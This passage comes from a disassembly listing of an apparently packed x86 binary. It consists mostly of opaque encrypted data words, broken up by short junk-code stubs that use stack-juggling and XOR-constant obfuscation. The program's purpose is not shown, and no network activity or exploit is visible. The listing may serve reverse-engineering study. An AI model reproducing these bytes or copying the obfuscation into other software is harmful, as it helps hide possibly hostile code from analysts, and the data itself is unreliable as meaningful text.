69F21041h, 2126491Eh, 0DB46DC68h, 8CC61A5Ch, 379h, 0C243EFE3h dd 47D1793Fh, 70A6BE1Fh, 0C8519CE7h, 8A49F17Dh, 1CD2EBD8h dd 0E0C57E1h, 38AE3A85h, 9E8342EDh, 0D36223C1h, 78D2002Eh dd 172C77F8h, 0F56524CCh, 266471D7h, 1FE252DBh, 2032F199h dd 696E996Ah, 99587DFh, 0CBA04893h dd 0F0351C79h, 0D67E0A15h, 5F07034Ch, 184C91D5h, 0E32E7902h dd 0D2830F5Ah, 0A7FB0748h, 2A0579C6h, 0CA4DAC35h, 96000005h dd 119B4CBAh, 8711C240h, 0FE8839CBh, 7600B165h, 0E0792AF0h dd 0A105649h, 8795CF59h, 1194CD6h, 7D89C650h, 8F4EF6CCh dd 1CC889E6h, 0FBDA8315h, 620AB206h, 8979D8h, 0D86A29B5h dd 131CD2E0h, 9AB53FC8h, 0C92FE36Ch, 9AF528Dh, 0DFE4B961h dd 6D3CCD79h, 0F73BFA86h, 0B2E5639Fh, 4FDB2728h, 35DD8ED9h dd 0D861BBABh, 0D877018Dh, 0F9A17BEBh, 0FF800D3Ah, 2A75C0E9h dd 0CA3817A1h, 0E9BE6641h, 7BE9BAF1h, 0FD2F73A8h, 83BF0C5h dd 0BDD93FCBh, 53AFA02Ah, 0F4123DC7h, 0B74AD43h, 7C063887h dd 0EAA531E9h, 25Dh, 0B206FB41h, 35E5800Ah, 184504ACh dd 0CB1A9CEFh, 1A93580h, 8496CF59h, 8D6039F8h, 54291CC8h dd 0A9B4DEE6h, 0BF35C132h, 2442CC74h, 0ABBB45F6h, 6B40E871h dd 9E620EAh, 3AF9857Ch, 1CC836F6h, 0C609EB1h, 0BFADCB51h dd 0D2A80790h, 8E000004h, 99344C2h, 7F09BA48h, 0F68031D3h dd 6EF8A96Dh, 0D87122F8h, 2184E41h, 7F9DC751h, 0F92144CEh dd 7591BE48h, 8746EEC4h, 1CC888DEh, 0FBD27B0Dh, 4B0AB206h dd 1CC88D4Eh, 0F99226Dh, 8711C240h, 711EDDC8h, 0A4E33771h dd 0FB850E59h, 660EB654h, 3771FEA7h, 56E22DE3h, 9F0E43CDh dd 3771B7E0h, 0D01B66E3h, 73A9BD47h, 0B6D036EAh, 13DA37Eh dd 0B667A3ACh, 6E10390Eh, 0FC3EFCA8h, 4747DA70h, 8620323Eh dd 77000001h, 1516EE1h, 0E42F7A03h, 807ED15Bh, 16A25FCFh dd 0C2C7AF6Eh, 0A9F41CD2h, 61EE7820h, 0FCD11CA5h, 2A41AC23h dd 11D05C3Ah, 0E32DDA60h, 5051ED53h, 3238FBD1h, 4696h dd 8746EE00h, 0E32DD2DEh, 3DCF830Dh, 921E69B4h, 0B206FBE9h dd 0F6C74B0Ah, 6AF41CD2h, 9187DDFAh, 0B372FB46h, 0E32D098Eh dd 0E0F78FF5h, 78B1F10Bh, 59A42DEDh, 765BFD84h, 52DE29EDh dd 388465BCh, 0BB0232h, 0C3590000h, 0EF335C1Bh, 97E21A9Ch dd 30CE810Bh, 0D3491DA7h, 738FC04Ah, 13EF60EAh, 0EB30A362h dd 44B1A9Ch, 14BDEAA9h, 2570E563h, 0CB8A32DAh, 0E56314A2h dd 0BDEAA951h, 70E56314h, 9D4EDA25h, 3CE4D42Dh, 33A27A7Dh dd 0F2B159E3h, 0E333AB45h, 3AE22D78h, 0BC1FCC65h, 38C4139Ch dd 0BA600690h, 698C6109h, 0EB97A796h, 0C30EFC56h, 82335C1Bh dd 97E2E333h, 37E5810Bh, 0A9809EE3h, 75D45DBFh, 349h, 1ACB3917h dd 9041C190h, 0DBE4C06h, 893AE083h, 4B567FFh, 85E1D46Bh dd 85CE697h, 8ED76112h, 0FE51DB8Ch, 0D1794F00h, 0C8866512h dd 5D06981Ch, 0E69785E1h, 6617F35Ch, 906EE1BDh, 34D27D07h dd 0CAEE1383h, 0C3C36322h, 66F01CD2h, 47921BFFh, 8DB473FCh dd 0D7E32D3Ch, 38C2D571h, 0EC5CE81Ah, 71FBA315h, 6B499DF5h dd 91368FA9h, 71A9BC46h, 287E3DE5h, 0BE56371h, 0D58E18C0h dd 28B14D02h, 550692DDh, 5C1BC3ACh, 1A9CEF33h, 810B97E2h dd 1DA730CEh, 842CD432h, 9CEF98C5h, 0E4A34B1Ah, 1A9CEFBBh dd 48D41F6Ah, 0DEDA2797h, 0DAA6AC36h, 6B493DAh, 49D31E9Ch dd 2772FB09h, 4A34F39Bh, 791CD2DFh, 0BDE6A52Eh, 28E32D1Fh dd 0FC2584C2h, 6B323840h, 42h, 0B206FBC2h, 0F6C74B0Ah dd 0EDC21CD2h, 5F7D0F7Dh, 77D09D6h, 0CF7433BCh, 0EAE32D0Ah dd 87119A68h, 0EB63FDDh, 2D0A264Fh, 78AD5E3h, 914FE5A1h dd 0F27C132Bh, 841AA674h, 3238509Dh, 0BDCAh, 6EE12100h dd 0A3CC8B33h, 521A9CEFh, 0EF1F4807h, 83CE1A9Ch, 4125AF38h dd 87C852DBh, 0B0B5163Ch, 4B96E16Ah, 62ED7700h, 0C327FCA4h dd 0EFB337A9h, 0D59445D1h, 1A9C7562h, 8334D27Dh, 1FA856F9h dd 0E5DC52AFh, 0C7430EAFh, 0F91EF33Eh, 0F29AE57Eh, 0D2420F33h dd 3332BC1Ch, 0C8135EE7h, 5E5AA717h, 3BE2F7B6h, 8ED9E57Eh dd 100A5CE6h, 8B91D55Fh, 675E1037h, 0BF1EA7B5h, 1B5h, 0B667A5ABh dd 34E5252Ch, 0A95AA8AAh, 25D6441Fh, 0A051CB9Bh, 0E97D7007h dd 6CF88233h, 0F273FDAEh, 62ED7728h, 751DF3A4h, 0C88589B6h dd 1AA3C1Ch, 0E69785E1h, 6617F35Ch, 0A3AFE9BEh, 0E50DE7A7h dd 1BC3B059h, 9CEF335Ch, 0B97E21Ah, 5313669Bh, 0AAF540C9h dd 0F6FF4302h, 30BA1CD2h, 57C5A122h, 6338830Ch, 1ED853ECh dd 7CF27ECEh, 0B8E9A831h, 2BE32D85h, 8C1689C5h, 0BF5B08C3h dd 14A0EB36h, 38CBA37Eh, 96C432h, 0E11B0000h, 7D07906Eh dd 0EBAA33E9h, 1A9CEB88h, 610ECD75h, 94E56314h, 1C33BD49h dd 9CB33DEEh, 8C75E56Eh, 6BFA842Ch, 0BC7B23AFh, 0E32D2496h dd 0D949FA45h, 29E89028h, 0E57D9231h, 0ED771F6Ah, 6D15A177h dd 0F12B3BC5h, 8D19EB67h, 8B96303h, 0DE32E87Eh, 0B567F8A1h dd 0CE5CBB44h, 92000000h, 58F40BEh, 830DBE4Ch, 28C3DCFh dd 7A04B561h, 0E47D2EECh, 0E0C5A4Dh, 8B91D35Dh, 51550DAh dd 7985CA54h, 8B4AF2C8h, 1CC884E2h, 0E1D67F11h, 5CE69785h dd 0BD6617F3h, 7906EE1h, 8334D27Dh, 22CAEE13h, 6A13D27Ah dd 991A9CEFh, 7C8EC44Eh, 8D6431F0h, 0C571CC8h, 0A856F983h dd 0C7E26DF7h, 37715F08h, 0F8438EE3h, 2C0DB06Fh, 0AE56ABF6h dd 0AF1E4706h, 82CDAA76h, 0FFF690F6h, 2DDF7350h, 5D0E59A4h dd 58E7CD3h, 8A32E87Bh, 2CB56500h, 0CD7A39E1h, 0AA76AFh dd 0ECA029B5h, 5AF5C886h, 0DE71FBACh, 0E81639C3h, 2855145Fh dd 0DBAA76AFh, 7C29E890h, 0AFAA76AFh, 0E7711964h, 840D996Bh dd 1FD52DCh, 31675h, 7E6D0000h, 916FE1D5h, 35D17E08h, 0D74322ACh dd 7AA0C44Eh, 1DFF67F1h, 0BE5C0A94h, 62B8AB35h, 1034FD9h dd 0A763EE78h db 1Eh, 6Fh ; --------------------------------------------------------------------------- push ebp mov ebp, esp add ebp, 4 sub ebp, 4 xchg ebp, [esp] pop esp mov [esp], esi push edx mov edx, esp add edx, 4 sub edx, 4 xchg edx, [esp] pop esp mov [esp], ecx push esi mov esi, esp add esi, 4 sub esi, 4 xchg esi, [esp] pop esp mov [esp], ebx push edi mov edi, 65462B7h mov ecx, edi mov edi, [esp] add esp, 4 push esp mov ebx, [esp] add esp, 4 push ecx push esi mov esi, 606301ECh xor [esp+4], esi pop esi pop dword ptr [ebx+8] xor dword ptr [ebx+8], 606301ECh mov ebx, [esp] push eax mov eax, esp add eax, 4 add eax, 4 xchg eax, [esp] pop esp mov ecx, [esp] push edi mov edi, esp add edi, 4 add edi, 4 xchg edi, [esp] pop esp jmp loc_54F326 ; --------------------------------------------------------------------------- dw 7C1Ch dd 4E6F6FF6h, 64C14829h, 546CA4B8h, 0FFC50306h, 5A716AE0h dd 84586F3Ch, 0FA351307h, 0A080124Fh, 3331C09h, 777C7140h dd 85BD515Eh, 0D149860h, 0E5777611h, 67568D19h, 639E5E49h dd 7B12811Dh, 1A6BA12h, 4C567136h, 420BE711h, 0D52CA27Fh dd 55CE1131h, 1E0EC260h, 2B013E18h, 428D8D28h, 2306546Eh dd 4E0B199Dh, 58D8906h, 6A064E2Bh, 3E85100h, 20000000h dd 8959C359h, 8104244Ch, 1C042444h, 41000000h, 72BCC351h dd 30A108DAh, 295D8D8Fh, 4E2BAD8Dh, 85C7F806h, 64E2B65h dd 5F74h, 2BF18529h, 85C7064Eh, 64E065Dh, 0 dd 0E851006Ah, 3, 59C35920h, 4244C89h, 4244481h, 1Bh, 0B4C35141h dd 2B305DD2h, 0FF40211Ah, 4E172DB5h, 0BE906h, 0BD9F0000h dd 0C2D31900h, 6C6E34F8h, 9995FF13h, 23064E0Fh, 4E332DB5h dd 0FF006A06h, 4E1A5995h, 0EBC08B06h, 0B32C962Bh, 0BAD2EB9Bh dd 5FF4B5A4h, 13BC3F92h, 4A9D54A9h, 0C9B33A11h, 0E4D2E5F8h dd 0B145AFA4h, 40679661h, 0F2775E0Bh, 0A34D55E2h, 0BE8h dd 0F6DCEF00h, 2597738Fh, 605B395Dh, 9E9h, 62DDCD00h, 6B0EE677h dd 0BB5F3CD1h, 5D02F91Dh, 7575C781h, 8B660000h, 2CECBEC7h dd 0EE8174C6h, 74C60FB9h, 937FFFCh, 4E268595h, 0F7B45906h dd 547BE981h, 0C68B71C2h, 559FC181h, 0B5294606h, 64E0D1Dh dd 0BE08E981h, 89601A83h, 4E1BA1BDh, 0F9858B06h, 61064E0Dh dd 8635B851h, 78F6D3Ch, 9CEA8166h, 1EEF8132h, 0F7B864Ah dd 83h, 1AC78100h, 0E97B864Ah, 13h, 15F09435h, 0AF45552Ah dd 0FF60B6DCh, 6FDFC9A0h, 81A50DFEh, 1EEh, 8A850F00h, 0FFFFFFFh dd 8D8DD8BFh, 6546FEBh, 8D8930B3h, 64E2B05h, 0E855006Ah dd 3, 5DC35D20h, 4246C89h, 4244481h, 16h, 49C35545h, 0B58B6BB6h dd 64E0379h, 3D47BF66h, 2B6585C7h, 6EA8064Eh, 6A0000h dd 3E857h, 5F200000h, 7C895FC3h, 44810424h, 160424h, 57470000h dd 889760C3h, 1849B529h, 85C7064Eh, 64E065Dh, 0 dd 0E955DE80h, 0Fh, 65CCAA8Dh, 0CBC9E4CDh, 90E1C10Fh, 0FFB64522h dd 4E0B15B5h, 12E806h, 47780000h, 0E19FEA71h, 0F8092D86h dd 0B347CAA5h, 0BEB36144h, 0CE9h, 0D1ADD400h, 40CE076Eh dd 7E2CF328h, 95FF585Eh, 64E0F99h, 18EDB529h, 6A064Eh dd 1A5995FFh, 0C08B064Eh, 50AA4DEBh, 0E439BC6Dh, 40B92185h dd 0FDC1532Dh, 0B12F07Bh, 0A51A6700h, 94C4D614h, 0F7836DE1h dd 0D50A814Eh, 4BF756F6h, 0C71332DCh, 4C7FB3D0h, 0EFBCDB1Eh dd 4E959582h, 10D96277h, 3A8E095Bh, 0A2770E3Ah, 8EA13EC1h dd 3604A62h, 0E8D3208Bh, 11h, 0FD29EA7h, 46ED8BEEh, 7D1FED9Ah dd 0F8677EE7h, 7BE6663h, 870F59B2h, 7, 1850Fh, 81F50000h dd 66D0C1h, 7FF08000h, 198368h, 0AD958900h, 5A064E10h dd 31FF01B3h, 0EE68166h, 830F5F8Bh, 6, 16159589h, 0F781064Eh dd 2D27ED2h, 8D8FC681h, 0F7815CA2h, 22773758h, 6726C781h dd 0B5014D07h, 64E02C5h, 0EE816657h, 18F022Ch, 0E983E58Ah dd 49E58A02h, 8357B349h, 850F01EAh, 16h, 2820Fh, 0F28B0000h dd 33E9h, 5D0E4000h, 25CA73D4h, 14E96E12h, 2C000000h, 7F61D8CAh dd 229E772Ah, 0B5EF713h, 5B6CD62Ch, 0E9178C55h, 0FFFFFF7Eh dd 0F1542DF3h, 8BF3152Bh, 0D5ABFBB0h, 8EBh, 0C0D10000h dd 0B2E97D76h, 68000004h, 6547211h, 0FA0E6CE9h, 729068FFh dd 62E90654h, 68FFFA0Eh, 6547435h, 0FA0E58E9h, 33A9B4FFh dd 41BBC8B6h, 5488D6C4h, 5D9FE9D7h, 6765F2E0h, 0A88A99EAh dd 0B2A01DDFh, 0C1AF2CA0h, 0CFBD3AB2h, 0F5CE4B81h, 0C51F582Eh dd 14EFB7D2h, 7DDA489h, 0BE273670h, 9987189Eh, 0A76E10CCh dd 0A233A9B9h, 0B330ACB4h, 0E8AF193Bh, 74C10A12h, 1CBE44B4h dd 0D90D2D46h, 0A29057B7h, 0A0891AD2h, 0FA93324Fh, 5049512Fh dd 0BE000003h, 0ADCFD1FEh, 0EEB57C43h, 27365F18h, 9829AFBEh dd 752AB2C2h, 5D33FAB4h, 0B7D9321Ah, 80E576FCh, 43B98FFAh dd 2AB6FF88h, 1D79E76h, 0B9496AE3h, 1200C74Dh, 5FE58745h dd 80B42CCEh, 508B6128h, 0FEB70FAAh, 0FCEAB178h, 16D57775h dd 5968F3Eh, 710288A1h, 0CA97FD83h, 64EA7012h, 96BF9E7h dd 2EFA807Ch, 3DC37D1Ch, 31D227C9h, 8E000003h, 9E8C09C3h dd 0AC9A17D5h, 0BFAD2AA2h, 0CCBA37B5h, 7BCC4983h, 0FFFD8AA8h dd 0ECE9482h, 20DCA391h, 2DAFB5A3h, 3A10D7B0h, 0B7D2C43Dh dd 0F36BF6D1h, 0CAA06741h, 0B47A85A5h, 450CD359h, 0F15ACB86h dd 8997C0Ah, 128F4D1Ah, 0DAA15B24h, 0C76963ECh, 470EB041h dd 0BB910A59h, 0B7D252BCh, 0AC4ED45Ah, 0EE895F26h, 20B7D252h dd 4333099Ah, 0B4B7D252h, 5C6430ACh, 0F53C4395h, 2B2FE53h dd 420D0000h, 521F0D8Ah, 272F1D9Ah, 2E3A28A5h, 3A4331AEh dd 2FF445C2h, 5827A03h, 14914B17h, 209D5F26h, 2DAA2232h dd 0C0B78D54h, 4EB7D2C4h, 41F3E873h, 1AD9A067h, 3492554Ah dd 1AF081DCh, 0B47A4D55h, 0AB8123A9h, 0B7D2EDC8h, 6582D3BCh dd 5129EE60h, 7502D89Fh, 99B7D2F5h, 0A4582513h, 1FD2B13h dd 7DA00000h, 402EF5F7h, 0CB015232h, 7B1DA329h, 837907F5h dd 28CA5BE1h, 35B22A3Ah, 5E94AF6Eh, 8080AD66h, 0EBC577EFh dd 0DAEA4E24h, 8B4AB473h, 0E16F3144h, 108E2CEBh, 0C2EF885Eh dd 991FB7D8h, 2F1D8213h, 5920A626h, 0A08B5C9Ah, 5BECB7B9h dd 5E90E3B9h, 0BF4B7D8h, 60289DBAh, 5BB6512Fh, 0EF000000h dd 0A1F84730h, 6EDA6DA0h, 43E8A738h, 0D25DEE97h, 0A06741F3h dd 99321AD9h, 0E807144Ah, 0FCBB977Ah, 69FAA467h, 73E54193h dd 0A749CFB4h, 0D841A2D1h, 6399E3B7h, 518BD3C1h, 0A1F2DBAFh dd 0C1AF7665h, 4C80D0B4h, 0D9E24C6h, 0FB6D324h, 0CD512F2Fh dd 0E1h, 93491806h, 0F77D7702h, 0A0672EF5h, 2736ADCAh dd 5DB61BEh, 0BE273672h, 0EB8D1EA4h, 0AE2E3624h, 0A6262F1Dh dd 554E1604h, 0D660169Ah, 142C2673h, 8F208650h, 0F3E18309h dd 1CF26F6Dh, 0BE26B7B9h, 730064ECh, 0CB51D779h, 4E4D1604h dd 26C0FF78h, 3890FBEh, 0DB7DF572h, 6D6B2AF1h, 0DCABC728h dd 582EF586h, 0B475CB6Dh, 0EFCC349h, 470E8B41h, 0CD30959h dd 0D7304136h, 0BE4FD5B7h, 794587D0h, 48E87F7Bh, 0D095E00h dd 0B2000001h, 0BAA825A7h, 0C8B633A9h, 0D3C13EBEh, 0E8D65389h dd 8FE05D9Fh, 1BD19E94h, 2AA2B09Eh, 3CB0BFADh, 4983D1BFh dd 562CF3CCh, 0B7D2C221h, 0A48F1AF5h, 99DF63E5h, 0FE8F8C04h dd 541D4710h, 0A7951298h, 0DFA623D9h, 52354218h, 9E7FBE26h dd 4D17D887h, 9E2FB51Ah, 0F5F77D13h, 0DD1F6553h, 5CB4E860h dd 913AD695h, 711943C2h, 26C3DC9Bh, 2EB43ABEh, 0A300D69Dh dd 8BB47471h, 0B0773E05h, 993BB1C2h, 0F93A3D13h, 0F53B7D8h dd 1BE268CDh, 0D8F93245h, 0CD5EE4B7h, 61EE96DFh, 9268E56Bh dd 0B7D8F9E1h, 0A320DCA4h, 6D34A8B5h, 0F9A7D0A6h, 7967B7D8h dd 0DC6DF3E9h, 52E53Ah, 0F35A0000h, 0CAA06741h, 0B47A85D9h dd 8919655h, 0C85A9DEBh, 189E40BCh, 7C6A0C92h, 6C690F4h dd 82CBB980h, 9122A84Ah, 9E5E2614h, 576A26FCh, 442DFCB4h dd 0CB014FF3h, 0DC10604Eh, 0CC004C3Ah, 72C3AC2Ah, 0C94686CEh dd 0B55795DBh, 360h, 941FD500h, 58FAF27Dh, 40E21A6Ah, 27C90352h dd 11B32939h, 0A25A23h, 0E5874512h, 0CD6F6DF7h, 0B35597DFh dd 9E40BCC5h db 12h ; --------------------------------------------------------------------------- push ebp mov ebp, esp add ebp, 4 sub ebp, 4 xchg ebp, [esp] pop esp mov [esp], ebx push ebp mov ebp, esp add ebp, 4 sub ebp, 4 xchg ebp, [esp] pop esp mov [esp], ecx sub esp, 4 mov [esp], edi push 6547137h pop ecx push esp mov edi, [esp] add esp, 4 push 630Ah mov [esp], ecx pop dword ptr [edi+8] push dword ptr [esp] pop edi add esp, 4 push dword ptr [esp] pop ecx add esp, 4 jmp loc_5426E1 ; --------------------------------------------------------------------------- dd 7567B8C5h, 0C5030654h, 346CE0FFh, 5DA00929h, 253C1070h dd 0DEB321BBh, 0D9AB191Fh, 772D1E9Fh, 0FC5C5165h, 0CF027E5Ah dd 0D926213Bh, 0BD5630BFh, 8D8D67BEh, 65476B2h, 6820Fh dd 0BD890000h, 64E0DB1h, 1F61B531h, 8D89064Eh, 64E2B05h dd 0E851006Ah, 3, 59C35920h, 4244C89h, 4244481h, 14h, 4FC35141h dd 8E9h, 3B436900h, 0C15ACAE6h, 6585C706h, 0EC064E2Bh dd 6A00006Bh, 3E85200h, 20000000h, 895AC35Ah, 81042454h dd 16042444h, 42000000h, 0D607C352h, 5DB58BA5h, 0C7064E26h dd 4E065D85h, 6, 0F88B6600h, 20F1B5FFh, 6A064Eh, 3E852h dd 5A200000h, 54895AC3h, 44810424h, 160424h, 52420000h dd 0F6D4CAC3h, 0F9995FFh, 0B70F064Eh, 0FF006AF6h, 4E1A5995h dd 0EBC08B06h, 6B9C0B4Ch, 1F19F47Fh, 2A493489h, 9BAF1A11h dd 0E66D82D7h, 0F2256A44h, 6F05EDB8h, 0DA490484h, 79EE2DBDh dd 301B00AFh, 8F58E1B9h, 86170525h, 2845F40Bh, 4E6ADF1Eh dd 88B867BEh, 0A19FAA3Eh, 59E41Dh, 0ED5502A5h, 99094C60h dd 0BC8D8D14h, 66065477h, 8D89D88Bh, 64E2B05h, 0E850006Ah dd 3, 58C35820h, 4244489h, 4244481h, 1Dh, 5C35040h, 4904846Fh dd 0EE2DBDDAh, 0D1FFBB79h, 85C76CC2h, 64E2B65h, 6184h dd 0E853006Ah, 3, 5BC35B20h, 4245C89h, 4244481h, 19h, 77C35343h dd 0E12627DBh, 5D85C7CFh, 64E06h, 0F5000000h, 0D898589h dd 0B5FF064Eh, 64E172Dh, 95FFF8F5h, 64E0F99h, 0E853006Ah dd 3, 5BC35B20h, 4245C89h, 4244481h, 1Bh, 0CC35343h, 1CB7C0C1h dd 8BFA3424h, 4E02D195h, 0DD858906h, 6A064E25h, 5995FF00h dd 8B064E1Ah, 4B2BEBC0h, 78FC85C1h, 9DF547ECh, 9B7EB3A1h dd 146F55F4h, 73535750h, 0EF35AB9Bh, 441CD7A5h, 0B8FB7FB8h dd 719A727Ch, 6313EEC7h, 10E84631h, 0C8000000h, 0E2C35B52h dd 1407A4BCh, 0C522B08h, 66D71C78h, 0E2A7D981h, 0FE95Bh dd 44690000h, 42D2A337h, 0EF9FF873h, 1B18CE6Fh, 53C381A8h dd 81000060h, 87514FD7h, 17E66864h, 9E90000h, 0A4000000h dd 2375ACBFh, 5E42BFDAh, 0A5BD8B5Eh, 0FF064E05h, 0C7B70F33h dd 0C1858B5Ah, 81064E25h, 0E0D14EC2h, 0B5BD8B7Eh, 81064E20h dd 0AE586EAh, 918D3141h, 81064E18h, 0C9C7CCC2h, 0D9D8904h dd 52064E10h, 0FFD8501h, 38F064Eh, 13E8h, 0D3676F00h, 38582490h dd 0FB874C1h, 0D0AE2B54h, 0DABD350h, 58F8BF0Fh, 0B904EB83h dd 79D02CC9h, 1EE81h, 850F0000h, 0FFFFFF97h, 0E8DBD8Bh dd 10E8064Eh, 86000000h, 19D812B7h, 0F4EBA5BBh, 3655A565h dd 0F816598h, 682h, 0E18D2300h, 5F064E08h, 81F08B66h, 6AA3C7h dd 0BA15B100h, 1A79h, 68C0Fh, 0B58B0000h, 64E05E9h, 0B58B37FFh dd 64E0BFDh, 0E881FC58h, 3B454953h, 81CB8B66h, 54D587C0h dd 0C9BF0F51h, 0E58BC081h, 0CE93A47h, 95000000h, 677B7A98h dd 0F16BEEAFh, 8958BF30h, 0F9852907h, 81064E11h, 662315EFh dd 0B9BD0938h, 81064E25h, 662311C7h, 2830F38h, 8B000000h dd 850F4ACEh, 1Eh, 0A9C68166h, 24E900h, 0DAAD0000h, 0C2891519h dd 147C886h, 0B64227B7h, 4C9B76FEh, 9589877Ah, 64E0B3Dh dd 0FFFF7BE9h, 0FE6426FFh, 8D8DD114h, 6547A0Dh, 19D5B58Bh dd 8D89064Eh, 64E2B05h, 0E856006Ah, 3, 5EC35E20h, 4247489h dd 4244481h, 17h, 7EC35646h, 0C7167917h, 4E2B6585h, 584006h dd 819FBA00h, 0BD016482h, 64E2949h, 65D85C7h, 64Eh, 6A0000h dd 3E852h, 5A200000h, 54895AC3h, 44810424h, 160424h, 52420000h dd 521528C3h, 1271858Bh, 0B5FF064Eh, 64E2899h, 9D958957h dd 58064E30h, 0F9995FFh, 9D29064Eh, 64E0ACDh, 95FF006Ah dd 64E1A59h, 0AEBC08Bh, 0CEE74DD1h, 5F3D36E0h, 8D8DBE65h dd 6547AF6h, 89D68B66h, 4E2B058Dh, 52006A06h, 3E8h, 0C35A2000h dd 2454895Ah, 24448104h, 1704h, 0C3524200h, 954F37C0h dd 1389B589h, 85C7064Eh, 64E2B65h, 69B4h, 0E855006Ah, 3 dd 5DC35D20h, 4246C89h, 4244481h, 1Ah, 6BC35545h, 5BB67977h dd 870FA627h, 2, 0B70FE68Ah, 5D85C7DFh, 64E06h, 6A000000h dd 3E85700h, 20000000h, 895FC35Fh, 8104247Ch, 17042444h dd 47000000h, 9DBC357h, 8589C40Eh, 64E2729h, 351BD8Bh dd 0B5FF064Eh, 64E2899h, 0FFC78B66h, 4E0F9995h, 50006A06h dd 3E8h, 0C3582000h, 24448958h, 24448104h, 1604h, 0C3504000h dd 8BBC78ACh, 4E0DDD9Dh, 0FF006A06h, 4E1A5995h, 0EBC08B06h dd 0EAE9960Ah, 6CF055E7h, 8D0B39ADh, 547BE38Dh, 51006A06h dd 3E8h, 0C3592000h, 244C8959h, 24448104h, 1B04h, 0C3514100h dd 0CE58EA80h, 0D4CA473h, 0F7D858Bh, 8D89064Eh, 64E2B05h dd 68B0Fh, 0B5890000h, 64E15CDh, 36D9589h, 85C7064Eh, 64E2B65h dd 5DDCh, 0E850006Ah, 3, 58C35820h, 4244489h, 4244481h dd 1Ah, 59C35040h, 0D5DDBE84h, 0BF66C5EFh, 0CE88210h, 0E2000000h dd 38AD8528h, 2849F27Ch, 12ED5B2h, 4E2205B5h, 85C75B06h dd 64E065Dh, 0 dd 67D3CB81h, 0B5FF771Ch, 64E1A29h, 0E851006Ah, 3, 59C35920h dd 4244C89h, 4244481h, 1Ch, 0E0C35141h, 1DB1A956h, 7B5E67F4h dd 0F9995FFh, 0FFC064Eh, 188h, 6AF800h, 1A5995FFh, 0C08B064Eh dd 509F58EBh, 307EC688h, 89478082h, 86D8590Ch, 0DBFB80A6h dd 0A3494FBBh, 0B2E80F7Ch, 0CD488595h, 0CAA0AA89h, 719F7AF4h dd 0DB4C2A52h, 1E7B33BAh, 673CD488h, 2D7DDD96h, 0FC2A62AEh dd 6AF8B8B7h, 78B68491h, 5A40A16h, 3B95B0h, 977D0F37h dd 872E79BFh, 0C02062FCh, 14E8DF1Ch, 18000000h, 7F278A02h dd 34632850h, 6D1CCE2Bh, 0A5E459D0h, 0FA16BFEh, 0B059D1B7h dd 34C1810Eh, 60000063h, 68B0Fh, 0B5890000h, 64E02EDh dd 5FD88B52h, 6861h, 12E90000h, 71000000h, 0D9BBDD0h, 827FC900h dd 0B3493F85h, 0BAAD9F86h, 0EFB25E95h, 8B313C8Bh, 4E080995h dd 0B8EF8106h, 8943DB0Bh, 4E26A98Dh, 0A9C78106h, 294397C8h dd 4E2099B5h, 0D3EF8106h, 527E8C47h, 6618589h, 5758064Eh dd 48FDF8Bh, 0F9858B31h, 8B064E14h, 4E0DDD95h, 1EE8306h dd 4E4EF38Ah, 99858B4Eh, 81064E2Ah, 0FF9DA4FEh, 17850FFFh dd 2B000000h, 4E182195h, 25E906h, 2F70000h, 0C33C57Fh dd 0CABA60CBh, 0EA813BE6h, 2A3F4DC2h, 0FFFF83E9h, 1C1973FFh dd 0B0024EA6h, 0DE908DE8h, 8D95387Ch, 547DEB8Dh, 50006A06h dd 3E8h, 0C3582000h, 24448958h, 24448104h, 1604h, 0C3504000h dd 508344C5h, 2B39BD8Bh, 295A064Eh, 4E0F71BDh, 58D8906h dd 6A064E2Bh, 3E85500h, 20000000h, 895DC35Dh, 8104246Ch dd 15042444h, 45000000h, 0A8A4C355h, 2B6585C7h, 6C6C064Eh dd 6A0000h, 3E853h, 5B200000h, 5C895BC3h, 44810424h, 1A0424h dd 53430000h, 0D7AC01C3h, 0FF49E35Dh, 65D85C7h, 64Eh, 95890000h dd 64E0009h, 26F5B5FFh, 95FF064Eh, 64E0F99h, 8E8h, 9C6AD00h dd 1DD51B43h, 6810FF0h, 0F000000h, 8Eh, 810F5F00h, 6, 263D958Bh dd 6A064Eh, 1A5995FFh, 0C08B064Eh, 72DB0EEBh, 0C2B983AFh dd 0EFA82AD6h, 0F8876A9Eh, 10E8h, 6C3EF200h, 0AC983703h dd 0BC35E67Ch, 0F7199CA1h, 0DE894h, 0B51D0000h, 11DF2BF3h dd 0D052C7F5h, 0FB86D94h, 68Ah, 0E5858900h, 58064E0Bh dd 41BD095Fh, 81064E16h, 69D6C7h, 0B900h, 0DA810000h, 735E7366h dd 0E90F1C8Bh, 11h, 1FFD3DDCh, 580E554Dh, 0CD379E72h, 7F85C2AEh dd 61EB816Eh, 0E95CB1F8h, 6, 532865Ch, 0EB819D3Eh, 4E86CB77h dd 2A998589h, 0C381064Eh, 529211Fh, 661B58Bh, 1C89064Eh dd 0B890F0Fh, 60000000h, 0B05B589h, 8B66064Eh, 0D28161D6h dd 17F798C3h, 43FAE981h, 81FC19DAh, 0DA43F6C1h, 81F18B19h dd 0FF96ECF9h, 89850FFFh, 0FFFFFFFh, 285h, 0E8D68B00h dd 12h, 7645E2C2h, 81A33CB0h, 0FF4A4B05h, 3B8A6E6Ah, 805687CFh dd 5B5A13C8h, 0BE960h, 71F60000h, 2531C0EBh, 1FD00377h dd 0C3816126h, 6960h, 5E9h, 97152700h, 81BF38E7h, 810F5850h dd 584AA3F7h, 8933FF0Fh, 4E330D9Dh, 0D9805E06h, 0DDF6810Ah dd 0E87133D5h, 0Fh, 0B1752AB5h, 362D35B1h, 0BD2366A0h dd 0F1E017Ch, 28Eh, 58616000h, 3A8AEE81h, 0B8661823h, 0EE816B26h dd 6231DF48h, 89C2BF0Fh, 6820F33h, 8B000000h, 4E0EFD8Dh dd 4EB8306h, 0CE9h, 2C49DE00h, 0FD3DDC8Ch, 0E554D1Fh, 1EF8158h dd 0F000000h, 1785h, 0F1CEB900h, 1DE944E4h, 30000000h dd 6BF375FCh, 0A7538BC4h, 0A8277DDFh, 0C071B866h, 0FFFF70E9h dd 0C494F9FFh, 22A780A2h, 0FE8h, 2167AD00h, 0FACB3E8Bh dd 0D1EBB09Bh, 0F99D3DBCh, 296DBD89h, 335A064Eh, 4E05EDBDh dd 0C6C28106h, 0F000061h, 3CB9C0B7h, 81175F91h, 5F897FF1h dd 0DD952917h, 0FF064E0Ah, 0DEBF0F32h, 0FBBF0F5Eh, 0BA99EE81h dd 0E9505865h, 0Fh, 772FDD28h, 8936A40Dh, 0C2474ADh, 5F985D6Ah dd 0F793F681h, 0EE815987h, 5BB5B8AAh, 1CD246BFh, 0D98B5663h dd 8589028Fh, 64E0405h, 0BB04EA83h, 4EA597FBh, 1E981h dd 850F0000h, 1Dh, 6820Fh, 